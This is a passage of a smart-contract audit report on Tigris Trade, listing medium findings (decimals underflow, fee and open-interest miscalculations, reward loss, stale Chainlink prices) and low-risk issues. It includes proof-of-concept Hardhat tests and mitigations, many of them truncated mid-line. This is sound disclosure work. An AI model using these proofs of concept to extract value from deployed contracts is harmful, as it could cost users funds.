[M-19] `_handleDeposit` and `_handleWithdraw` do not account for tokens with decimals higher than 18

Submitted by yjrwkk, *also found by* chaduke, rbserver, 0xdeadbeef0x, Tointer, Englave, Avci, Deivitto, 0xDecorativePineapple, ak1, Critical, unforgiven, Dinesh11G, izhelyazkov, rvierdiiev, 0x4non, *and* pwnforce

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L650

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L675

Impact

In `Trading.sol` a deposit or withdrawal of tokens with decimals higher than 18 will always revert.

This is the case e.g. for `NEAR` which is divisible into 10e24 `yocto`

Proof of Concept

Change 00.Mocks.js#L33 to:

```
args: ["USDC", "USDC", 24, deployer, ethers.utils.parseUnits("10
```

Then in 07.Trading.js:

```
Opening and closing a position with tigUSD output
Opening and closing a position with <18 decimal token output
```

are going to fail with:

```
Error: VM Exception while processing transaction: reverted with
```

Tools Used

VS Code

Recommended Mitigation Steps

Update calculations in the contract to account for tokens with decimals higher than 18.

TriHaz (Tigris Trade) acknowledged and commented:

> We are aware of that. We are not planning on adding any token that has more than 18 dec.

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, due to an underflow, the system in-scope can revert when using tokens with more than 18 decimals.

> Because of how scope was defined, I believe the finding to be valid, I believe a nofix is acceptable as long as the sponsor keeps in mind this risk.

> Because of the risk shown, I agree with Medium Severity.

[M-20] Trading#initiateMarketOrder allows to open a position with more margin than expected due to _handleOpenFees wrong calculation when a trade is referred

Submitted by carlitox477, *also found by* koxuan

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L178-L179

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L734-L738

When `initiateMarketOrder` is called, `_marginAfterFees` are calculated and then used to calculate `_positionSize`:

```
uint256 _marginAfterFees = _tradeInfo.margin - _handleOpenFees(_
uint256 _positionSize = _marginAfterFees * _tradeInfo.leverage /
```

The problem is that `_handleOpenFees` does not consider referrer fees when it calculates its output (paidFees), leading to open a position greater than expected.

Impact

For a referred trade, `initiateMarketOrder` always opens a position greater than the one supposed, by allowing the use of more margin than the one expected.

Proof of Concept

The output of `_handleOpenFees` is `_feePaid`, which is calculated once, and it does not consider referralFees:

```
// No refferal fees are considered
_feePaid =
    _positionSize
```

```
        * (_fees.burnFees + _fees.botFees) // get total fee%
        / DIVISION_CONSTANT // divide by 100%
        + _daoFeesPaid;
```

Then we can notice that, if the output of `_handleOpenFees` did not consider referral fees, neither would `\_marginAfterFees` do:

```
    uint256 _marginAfterFees =
        _tradeInfo.margin-
        _handleOpenFees(
            _tradeInfo.asset,
            _tradeInfo.margin*_tradeInfo.leverage/1e18,
            _trader,
            _tigAsset,
            false);

    // @audit Then _positionSize would be greater than what is suppo
    uint256 _positionSize = _marginAfterFees * _tradeInfo.leverage /
```

Recommended Mitigation steps

Consider referral fees when `_feePaid` is calculated in `_handleOpenFees`:

```
    // In _handleOpenFees function
    +   uint256 _refFeesToConsider = _referrer == address(0) ? 0 : _
        _feePaid =
            _positionSize
    -       * (_fees.burnFees + _fees.botFees) // get total fee%
    +       * (_fees.burnFees + _fees.botFees + _refFeesToConsider)
            / DIVISION_CONSTANT // divide by 100%
            + _daoFeesPaid;
```

[TriHaz (Tigris Trade) confirmed]

[Alex the Entreprenerd (judge) commented]:

> The warden has shown an accounting issue in how fees are calculated, the refactoring is straightforward.

[M-21] `executeLimitOrder()` modifies open-interest with a wrong position value

Submitted by 0xA5DF*, also found by* Jeiwan*,* KingNFT*, and* HollaDieWaldfee

The `PairsContract` registers the total long/short position that's open for a pair of assets, whenever a new position is created, the total grows accordingly.

However at `executeLimitOrder()` the position size that's added is wrongly calculated - it uses margin before fees, while the actual position is created after subtracting fees.

Impact

The OpenInterest would register wrong values (11% diff in the case of PoC), which will distort the balance between long and short positions (the whole point of the OpenInterest is to balance them to be about equal).

Proof of Concept

In the following test, an order is created with a x100 leverage, and the position size registered for OI is 11% greater than the actual position created.

```
diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..dfb7f98 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -778,7 +778,7 @@ describe("Trading", function () {
      */
     it("Creating and executing limit buy order, should have cor
       // Create limit order
-      let TradeInfo = [parseEther("1000"), MockDAI.address, Sta
+      let TradeInfo = [parseEther("1000"), MockDAI.address, Sta
       let PermitData = [permitSig.deadline, ethers.constants.Ma
       await trading.connect(owner).initiateLimitOrder(TradeInfo
       expect(await position.limitOrdersLength(0)).to.equal(1);
@@ -787,6 +787,9 @@ describe("Trading", function () {
       await network.provider.send("evm_increaseTime", [10]);
       await network.provider.send("evm_mine");

+      let count = await position.getCount();
```

```
+       let id = count.toNumber() - 1;
+
        // Execute limit order
        let PriceData = [node.address, 0, parseEther("10000"), 10
        let message = ethers.utils.keccak256(
@@ -798,8 +801,22 @@ describe("Trading", function () {
        let sig = await node.signMessage(
          Buffer.from(message.substring(2), 'hex')
        );
+       // trading.connect(owner).setFees(true,3e8,1e8,1e8,1e8,1e
-       await trading.connect(user).executeLimitOrder(1, PriceDat
+
+       let oi = await pairscontract.idToOi(0, stabletoken.addres
+       expect(oi.longOi.toNumber()).to.equal(0);
+       console.log({oi, stable:stabletoken.address});
+
+       await trading.connect(user).executeLimitOrder(id, PriceDa
+       let trade = await position.trades(id);
+       console.log(trade);
+       oi = await pairscontract.idToOi(0, stabletoken.address);
+       console.log(oi);
+
+       expect(oi.longOi.div(10n**18n).toNumber()).to.equal(trade
+
+
        expect(await position.limitOrdersLength(0)).to.equal(0);
        expect(await position.assetOpenPositionsLength(0)).to.equa
        expect((await trading.openFees()).botFees).to.equal(20000
@@ -807,6 +824,7 @@ describe("Trading", function () {
        let [,,,,price,,,,,,,] = await position.trades(1);
        expect(price).to.equal(parseEther("20020")); // Should ha
      });
+     return;
      it("Creating and executing limit sell order, should have co
        // Create limit order
        let TradeInfo = [parseEther("1000"), MockDAI.address, Sta
@@ -1606,6 +1624,7 @@ describe("Trading", function () {
        expect(await stabletoken.balanceOf(user.address)).to.equa
      });
   });
+  return;
   describe("Modifying functions", function () {
     it("Updating TP/SL on a limit order should revert", async f
       let TradeInfo = [parseEther("1000"), MockDAI.address, Sta
```

Output:

```
  1) Trading
       Limit orders and liquidations
         Creating and executing limit buy order, should have cor

       AssertionError: expected 100000 to equal 90000
       + expected - actual

       -100000
       +90000
```

Recommended Mitigation Steps

Correct the calculation to use margin after fees.

TriHaz (Tigris Trade) confirmed and commented:

> I think I confirmed a similar issue.

Alex the Entreprenerd (judge) commented:

> The Warden has highlighted an discrepancy in how OpenInterest is calculated, the math should cause issues in determining funding rates, however the submission doesn't show a way to reliably extract value from the system.
>
> Because of this, I believe the finding to be of Medium Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176899

[M-22] Unreleased locks cause the reward distribution to be flawed in BondNFT

Submitted by Ruhum, *also found by* wait, __141345__, rvierdiiev, Ermaniwe, *and* HollaDieWaldfee

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L150

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L225

Impact

After a lock has expired, it doesn't get any rewards distributed to it. But, unreleased locks cause other existing bonds to not receive the full amount of tokens either. The issue is that as long as the bond is not released, the `totalShares` value isn't updated. Everybody receives a smaller cut of the distribution. Thus, bond owners receive less rewards than they should.

A bond can be released after it expired by the owner of it. If the owner doesn't release it for 7 days, anybody else can release it as well. As long as the owner doesn't release it, the issue will be in effect for at least 7 epochs.

Since this causes a loss of funds for every bond holder I rate it as HIGH. It's likely to be an issue since you can't guarantee that bonds will be released the day they expire.

Proof of Concept

Here's a test showcasing the issue:

```
// 09.Bonds.js

    it.only("test", async function () {
      await stabletoken.connect(owner).mintFor(owner.address, et
      await lock.connect(owner).lock(StableToken.address, ethers
      await stabletoken.connect(owner).mintFor(user.address, eth
      await lock.connect(user).lock(StableToken.address, ethers.
      await stabletoken.connect(owner).mintFor(owner.address, et
      await bond.distribute(stabletoken.address, ethers.utils.pa

      await network.provider.send("evm_increaseTime", [864000]);
      await network.provider.send("evm_mine");

      [,,,,,,,pending,,,] = await bond.idToBond(1);
      expect(pending).to.be.equals("499999999999999999986");
      [,,,,,,,pending,,,] = await bond.idToBond(2);
      expect(pending).to.be.equals("499999999999999999986");
```

```
    await stabletoken.connect(owner).mintFor(owner.address, et
    await bond.distribute(stabletoken.address, ethers.utils.pa

    await network.provider.send("evm_increaseTime", [86400 * 3
    await network.provider.send("evm_mine");

    // Bond 2 expired, so it doesn't receive any of the new to
    [,,,,,,,pending,,,] = await bond.idToBond(2);
    expect(pending).to.be.equals("4999999999999999986");

    // Thus, Bond 1 should get all the tokens, increasing its
    // But, because bond 2 wasn't released (`totalShares` wasn
    // Thus, the following check below fails
    [,,,,,,,pending,,,] = await bond.idToBond(1);
    expect(pending).to.be.equals("14999999999999999960");

    await lock.connect(user).release(2);

    expect(await stabletoken.balanceOf(user.address)).to.be.eq

});
```

The `totalShares` value is only updated after a lock is released:

```
function release(
    uint _id,
    address _releaser
) external onlyManager() returns(uint amount, uint lockAmoun
    Bond memory bond = idToBond(_id);
    require(bond.expired, "!expire");
    if (_releaser != bond.owner) {
        unchecked {
            require(bond.expireEpoch + 7 < epoch[bond.asset]
        }
    }
    amount = bond.amount;
    unchecked {
        totalShares[bond.asset] -= bond.shares;
    // ...
```

Recommended Mitigation Steps

Only shares belonging to an active bond should be used for the distribution logic.

TriHaz (Tigris Trade) disputed and commented:

> Since this causes a loss of funds for every bond holder I rate it as HIGH.

> Funds are not lost, they will be redistributed when the bond is expired. https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L180

Alex the Entreprenerd (judge) commented:

> I've asked the Warden for additional proof.

> *(Note: See original submission for proof.)*

> And believe that the finding is valid.

> I have adapted the test to also claim after, and believe that the lost rewards cannot be received back (see POC and different values we get back).

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> I have to agree with the Warden's warning, however, the `release` function is public, meaning anybody can break expired locks.

> For this reason, I believe that Medium Severity is more appropriate.

[M-23] Governance NFT holder, whose NFT was minted before `Trading._handleOpenFees` function is called, can lose deserved rewards after `Trading._handleOpenFees` function is called

Submitted by rbserver, *also found by* HE1M, bin2chen, unforgiven, cccz, KingNFT, *and* stealthyz

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L689-L750

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L762-L810

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L287-L294

Impact

Calling the following `Trading._handleOpenFees` function does not approve the `GovNFT` contract for spending any of the `Trading` contract's `_tigAsset` balance, which is unlike calling the `Trading._handleCloseFees` function below that executes `IStable(_tigAsset).approve(address(gov), type(uint).max)`. Due to this lack of approval, when calling the `Trading._handleOpenFees` function without the `Trading._handleCloseFees` function being called for the same `_tigAsset` beforehand, the `GovNFT.distribute` function's execution of `IERC20(_tigAsset).transferFrom(_msgSender(), address(this), _amount)` in the `try...catch...` block will not transfer any `_tigAsset` amount as the trade's DAO fees to the `GovNFT` contract.

In this case, although the Governance NFT holder, whose NFT was minted before the `Trading._handleOpenFees` function is called, deserves the rewards from the DAO fees generated by the trade, this holder does not have any pending rewards after such `Trading._handleOpenFees` function call because none of the DAO fees were transferred to the `GovNFT` contract. Hence, this Governance NFT holder loses the rewards that she or he is entitled to.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L689-L750

```
        function _handleOpenFees(
            uint _asset,
            uint _positionSize,
            address _trader,
            address _tigAsset,
            bool _isBot
```

```
    )
        internal
        returns (uint _feePaid)
    {
        ...
        unchecked {
            uint _daoFeesPaid = _positionSize * _fees.daoFees / 1
            ...
            IStable(_tigAsset).mintFor(address(this), _daoFeesPa
        }
        gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(a
    }
```

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L762-L810

```
    function _handleCloseFees(
        uint _asset,
        uint _payout,
        address _tigAsset,
        uint _positionSize,
        address _trader,
        bool _isBot
    )
        internal
        returns (uint payout_)
    {
        ...
        IStable(_tigAsset).mintFor(address(this), _daoFeesPaid);
        IStable(_tigAsset).approve(address(gov), type(uint).max)
        gov.distribute(_tigAsset, _daoFeesPaid);
        return payout_;
    }
```

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L287-L294

```
    function distribute(address _tigAsset, uint _amount) externa
        if (assets.length == 0 || assets[assetsIndex[_tigAsset]]
        try IERC20(_tigAsset).transferFrom(_msgSender(), address
            accRewardsPerNFT[_tigAsset] += _amount/totalSupply()
        } catch {
```

```
            return;
        }
    }
```

Proof of Concept

Functions like `Trading.initiateMarketOrder` further call the `Trading._handleOpenFees` function so this POC uses the `Trading.initiateMarketOrder` function.

Please add the following test in the `Signature verification describe` block in `test\07.Trading.js`. This test will pass to demonstrate the described scenario. Please see the comments in this test for more details.

```
it.only("Governance NFT holder, whose NFT was minted before
  let TradeInfo = [parseEther("1000"), MockDAI.address, Stab
  let PriceData = [node.address, 0, parseEther("20000"), 0,
  let message = ethers.utils.keccak256(
    ethers.utils.defaultAbiCoder.encode(
      ['address', 'uint256', 'uint256', 'uint256', 'uint256'
      [node.address, 0, parseEther("20000"), 0, 2000000000,
    )
  );
  let sig = await node.signMessage(
    Buffer.from(message.substring(2), 'hex')
  );

  let PermitData = [permitSig.deadline, ethers.constants.Max

  // one Governance NFT is minted to owner before initiateMa
  const GovNFT = await deployments.get("GovNFT");
  const govnft = await ethers.getContractAt("GovNFT", GovNFT
  await govnft.connect(owner).mint();

  // calling initiateMarketOrder function attempts to send 1
  await expect(trading.connect(owner).initiateMarketOrder(Tr
    .to.emit(trading, 'FeesDistributed')
    .withArgs(stabletoken.address, "100000000000000000", "

  // another Governance NFT is minted to owner and then tran
  await govnft.connect(owner).mint();
  await govnft.connect(owner).transferFrom(owner.getAddress(
```

```
        // user's pending reward amount should be 0 because her or
        expect(await govnft.pending(user.getAddress(), stabletoken

        // owner's Governance NFT was minted before initiateMarket(
        // However, owner's pending reward amount is still 0 becau
        expect(await govnft.pending(owner.getAddress(), stabletoke
      });
```

Furthermore, as a suggested mitigation, please add `IStable(_tigAsset).approve(address(gov), type(uint).max);` in the `_handleOpenFees` function as follows in line 749 of `contracts\Trading.sol`.

```
689:     function _handleOpenFees(
690:         uint _asset,
691:         uint _positionSize,
692:         address _trader,
693:         address _tigAsset,
694:         bool _isBot
695:     )
696:         internal
697:         returns (uint _feePaid)
698:     {
699:         IPairsContract.Asset memory asset = pairsContract.i
...
732:         unchecked {
733:             uint _daoFeesPaid = _positionSize * _fees.daoFe
734:             _feePaid =
735:                 _positionSize
736:                 * (_fees.burnFees + _fees.botFees) // get t
737:                 / DIVISION_CONSTANT // divide by 100%
738:                 + _daoFeesPaid;
739:             emit FeesDistributed(
740:                 _tigAsset,
741:                 _daoFeesPaid,
742:                 _positionSize * _fees.burnFees / DIVISION_C
743:                 _referrer != address(0) ? _positionSize *
744:                 _positionSize * _fees.botFees / DIVISION_CO
745:                 _referrer
746:             );
747:             IStable(_tigAsset).mintFor(address(this), _daoF
748:         }
749:         IStable(_tigAsset).approve(address(gov), type(uint)
750:         gov.distribute(_tigAsset, IStable(_tigAsset).balanc
```

```
751:     }
```

Then, as a comparison, the following test can be added in the `Signature verification describe` block in `test\07.Trading.js`. This test will pass to demonstrate that the Governance NFT holder's pending rewards is no longer 0 after implementing the suggested mitigation. Please see the comments in this test for more details.

```
    it.only(`If calling initiateMarketOrder function can correct
            can receive deserved rewards after initiateMarketOr
      let TradeInfo = [parseEther("1000"), MockDAI.address, Stab
      let PriceData = [node.address, 0, parseEther("20000"), 0,
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256'
          [node.address, 0, parseEther("20000"), 0, 2000000000,
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.Max

      // one Governance NFT is minted to owner before initiateMa
      const GovNFT = await deployments.get("GovNFT");
      const govnft = await ethers.getContractAt("GovNFT", GovNFT
      await govnft.connect(owner).mint();

      // calling initiateMarketOrder function attempts to send 1
      await expect(trading.connect(owner).initiateMarketOrder(Tra
        .to.emit(trading, 'FeesDistributed')
        .withArgs(stabletoken.address, "100000000000000000", "

      // another Governance NFT is minted to owner and then tran
      await govnft.connect(owner).mint();
      await govnft.connect(owner).transferFrom(owner.getAddress(

      // user's pending reward amount should be 0 because her or
      expect(await govnft.pending(user.getAddress(), stabletoken

      // If calling initiateMarketOrder function can correctly s
      //   because her or his Governance NFT was minted before i
```

```
    expect(await govnft.pending(owner.getAddress(), stabletoke
});
```

Tools Used

VS Code

Recommended Mitigation Steps

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L749 can be updated to the following code.

```
IStable(_tigAsset).approve(address(gov), type(uint).max)
gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(a
```

TriHaz (Tigris Trade) confirmed, but disagreed with severity and commented:

> That will happen only with the first opened position until `_handleCloseFees()` is called.

> Valid but I think it should be low risk as it will mostly not affect anyone.

> Also the funds that are not distributed will be distributed later because of `gov.distribute(_tigAsset, IStable(_tigAsset).balanceOf(address(this)));` so no funds will be lost.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The warden has shown how, due to a lack of approvals, the rewards earned until the first call to `_handleCloseFees`

> We also know that `_handleDeposit` will burn the balance of `tigAsset` that is unused.

> The risk however, is limited to the first (one or) few users, for this reason I believe that Medium Severity is more appropriate.

> Adding an approval on deployment or before calling `distribute` should help mitigate.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419177034

[M-24] Chainlink price feed is not sufficiently validated and can return stale price

Submitted by rbserver, *also found by* eierina, 0x52, kwhuo68, joestakey, ladboy233, Jeiwan, __141345__, bin2chen, yixxas, koxuan, 8olidity, 0xdeadbeef0x, fs0c, 0xDecorativePineapple, Rolezn, rvierdiiev, *and* gzeon

As mentioned by https://docs.tigris.trade/protocol/oracle, "Prices provided by the oracle network are also compared to Chainlink's public price feeds for additional security. If prices have more than a 2% difference the transaction is reverted." The Chainlink price verification logic in the following `TradingLibrary.verifyPrice` function serves this purpose. However, besides that `IPrice(_chainlinkFeed).latestAnswer()` uses Chainlink's deprecated `latestAnswer` function, this function also does not guarantee that the price returned by the Chainlink price feed is not stale. When `assetChainlinkPriceInt != 0` is `true`, it is still possible that `assetChainlinkPriceInt` is stale in which the Chainlink price verification would compare the off-chain price against a stale price returned by the Chainlink price feed. For a off-chain price that has more than a 2% difference when comparing to a more current price returned by the Chainlink price feed, this off-chain price can be incorrectly considered to have less than a 2% difference when comparing to a stale price returned by the Chainlink price feed. As a result, a trading transaction that should revert can go through, which makes the price verification much less secure.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/utils/TradingLibrary.sol#L91-L122

```
    function verifyPrice(
        uint256 _validSignatureTimer,
        uint256 _asset,
```

```
        bool _chainlinkEnabled,
        address _chainlinkFeed,
        PriceData calldata _priceData,
        bytes calldata _signature,
        mapping(address => bool) storage _isNode
    )
        external view
    {
        ...
        if (_chainlinkEnabled && _chainlinkFeed != address(0)) {
            int256 assetChainlinkPriceInt = IPrice(_chainlinkFee
            if (assetChainlinkPriceInt != 0) {
                uint256 assetChainlinkPrice = uint256(assetChain
                require(
                    _priceData.price < assetChainlinkPrice+asset
                    _priceData.price > assetChainlinkPrice-asset
                );
            }
        }
    }
```

Based on https://docs.chain.link/docs/historical-price-data, the following can be done to avoid using a stale price returned by the Chainlink price feed.

1. The `latestRoundData` function can be used instead of the deprecated `latestAnswer` function.
2. `roundId` and `answeredInRound` are also returned. “You can check `answeredInRound` against the current `roundId` . If `answeredInRound` is less than `roundId` , the answer is being carried over. If `answeredInRound` is equal to `roundId` , then the answer is fresh.”
3. “A read can revert if the caller is requesting the details of a round that was invalid or has not yet been answered. If you are deriving a round ID without having observed it before, the round might not be complete. To check the round, validate that the timestamp on that round is not 0.”

Proof of Concept

The following steps can occur for the described scenario.

1. Alice calls the `Trading.initiateMarketOrder` function, which eventually calls the `TradingLibrary.verifyPrice` function, to initiate a market order.

2. When the `TradingLibrary.verifyPrice` function is called, the off-chain price is compared to the price returned by the Chainlink price feed for the position asset.
3. The price returned by the Chainlink price feed is stale, and the off-chain price has less than a 2% difference when comparing to this stale price.
4. Alice's `Trading.initiateMarketOrder` transaction goes through. However, this transaction should revert because the off-chain price has more than a 2% difference if comparing to a more current price returned by the Chainlink price feed.

Tools Used

VS Code

Recommended Mitigation Steps

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/utils/TradingLibrary.sol#L113 can be updated to the following code.

```
(uint80 roundId, int256 assetChainlinkPriceInt, , ui
require(answeredInRound >= roundId, "price is stale"
require(updatedAt > 0, "round is incomplete");
```

GainsGoblin (Tigris Trade) acknowledged and commented:

> We don't want a trader's trade to revert just because the chainlink feed is a round behind.

Alex the Entreprenerd (judge) commented:

> The Warden has pointed out to a possible risk related to the price oracle returning stale data.

> Alternatively to checking for latest round, a check for `updatedAt` to not be too far in the past should also help mitigate the risk of offering an incorrect price which can lead to value extraction or unintended behaviour.

> Because of the risk, I do agree with Medium Severity.

GainsGoblin (Tigris Trade) confirmed and commented:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419177187

Low Risk and Non-Critical Issues

For this contest, 12 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **brgltd** received the top score from the judge.

The following wardens also submitted reports: Deivitto, rbserver, 0xNazgul, Aymen0909, joestakey, hansfriese, unforgiven, IIIIIII, 0xSmartContract, 0x4non, *and* chrisdior4 .

[01] Use `.call` instead of `.transfer` to send ether

`.transfer` will relay 2300 gas and `.call` will relay all the gas. If the receive/fallback function from the recipient proxy contract has complex logic, using `.transfer` will fail, causing integration issues.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L588

Recommendation

Replace `.transfer` with `.call`. Note that the result of `.call` need to be checked.

[02] Unbounded loop

New assets are pushed into the state variable `assets` array, at the function `BondNFT.addAsset()`.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L352

`Lock.claimGovFees()` will iterate all the assets.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L110-L120

Currently, `assets` can grow indefinitely. E.g. there's no maximum limit and there's no functionality to remove assets.

If the array grows too large, calling `Lack.claimGovFeeds()` might run out of gas and revert. Claiming and distributing rewards will result in a DOS condition.

Recommendation

Add a functionality to delete assets or add a maximum size limit for assets.

[03] Use the safe variant and `ERC721.mint`

`.mint` won't check if the recipient is able to receive the NFT. If an incorrect address is passed, it will result in a silent failure and loss of asset.

OpenZeppelin recommendation is to use the safe variant of `_mint`.

Recommendation

Replace `_mint()` with `_safeMint()`.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L313

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L56

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L70

[04] Usage of deprecated chainlink API

`latestAnswer()` from chainlink is deprecated and can return stale data.

Recommendation

Use `latestRoundData()` instead of `latestAnswer()`. Also, adding checks for additional fields returned from `latestRoundData()` is recommended. E.g.

```
(uint80 roundID, int256 price,,uint256 timestamp, uint80 answere
require(timestamp != 0, "round not complete");
require(answeredInRound >= roundID, "stale data");
require(price != 0, "chainlink error");
```

[05] Lack of checks-effects-interactions

It's recommended to execute external calls after state changes, to prevent reetrancy bugs.

Consider moving the external calls after the state changes on the following instances:

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L72-L73

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L216-L226

[06] Lack of zero address checks for `Trading.sol` constructor for the variables `_position`, `_gov` and `_pairsContract`

If these variable get configured with address zero, failure to immediately reset the value can result in unexpected behavior for the project.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L143-L152

[07] Add an event for critical parameter changes

Adding events for critical parameter changes will facilitate offchain monitoring and indexing.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L898-L9051

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L912-L920

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L926-L933

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L939-L941

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L952-L969

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L975-L979

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/utils/MetaContext.sol#L9-L11

[08] Missing unit tests

It is crucial to write tests with possibly 100% coverage for smart contracts.

The following functions are not covered:

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L206-L216

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L311-L313

Recommendation

It is recommended to write tests for all possible code flows.

[09] Pragma float

All the contracts in scope are floating the pragma version.

Recommendation

Locking the pragma helps to ensure that contracts do not accidentally get deployed using an outdated compiler version.

Note that pragma statements can be allowed to float when a contract is intended for consumption by other developers, as in the case with contracts in a library or a package.

[10] Contract layout and order of functions

The Solidity style guide **recommends** declaring state variables before all functions. Consider moving the state variables from the GovNFT instance highlighted below to the top of the contract.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L263-L269

Another **recommendation** is to declare internal functions below external functions.

The instances below highlights internal above external. If possible, consider adding internal functions below external functions for the contract layout.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L884

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L898-L901

Furthermore, it's also recommended to declare pure and view functions at the end of a grouping.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L847

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L857

[11] Use time units directly

The value `1 days` can be used directly as the constant on L10 of `BondNFT.sol` is not needed.

[12] Declare interfaces on separate files

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L14-L77

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L9-L13

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableVault.sol#L15-L25

[13] Constants should be upper case

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L96

[14] Use `private constant` consistently

Replace `constant private` with `private constant`.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L95

[15] Add a limit for the maximum number of characters per line

The solidity documentation recommends a maximum of 120 characters.

Consider adding a limit of 120 characters or less to prevent large lines.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L178

[16] Declaring a `return named variable` and returning a manual value for the same function

Consider refactoring the function `MetaContext._msgSender` to use `sender` on L25. E.g. `sender = super._msgSender()` . This will make the function more consistent with the usage of the `return named variable` declared in the function header.

[17] Lack of spacing in comment

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L863

[18] Critical changes should use two-step procedure

Lack of two-step procedure for critical operations leaves them error-prone. Consider adding two-step procedure on the critical functions.

Consider adding a two-steps pattern on critical changes to avoid mistakenly transferring ownership of roles or critical functionalities to the wrong address.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L366-L370

[19] Missing NATSPEC

Consider adding NATSPEC on all public/external functions to improve documentation.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/TradingExtension.sol#L190

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L168

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/GovNFT.sol#L183

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/BondNFT.sol#L349

[20] Interchangeable usage of uint and uint256

Consider using only one approach throughout the codebase, e.g. only uint or only uint256.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L223-L224

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L316-L317

[21] Move require/validation statements to the top of the function when validating input parameters

Consider moving the validation on L966 above the conditional on L955 for `Trading.setFees()`.

[22] Remove console.log import in `Lock.sol`

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L4

[23] Draft OpenZeppelin dependencies

OpenZeppelin contracts may be considered draft contracts if they have not received adequate security auditing or are liable to change with future development.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableToken.sol#L4

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/StableToken.sol#L7

Recommendation

Consider waiting until the contract is finalized. Otherwise, make sure that the development team is aware of the risks of using a draft OpenZeppelin contract and accept the risk-benefit trade-off.

[24] Named imports can be used

It's possible to name the imports to improve code readability. E.g. `import "@openzeppelin/contracts/token/ERC20/IERC20.sol";` can be rewritten as `import {IERC20} from "import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";`

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L6

[25] Imports can be grouped together

Consider importing OZ first, then all interfaces, then all utils.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L4-L12

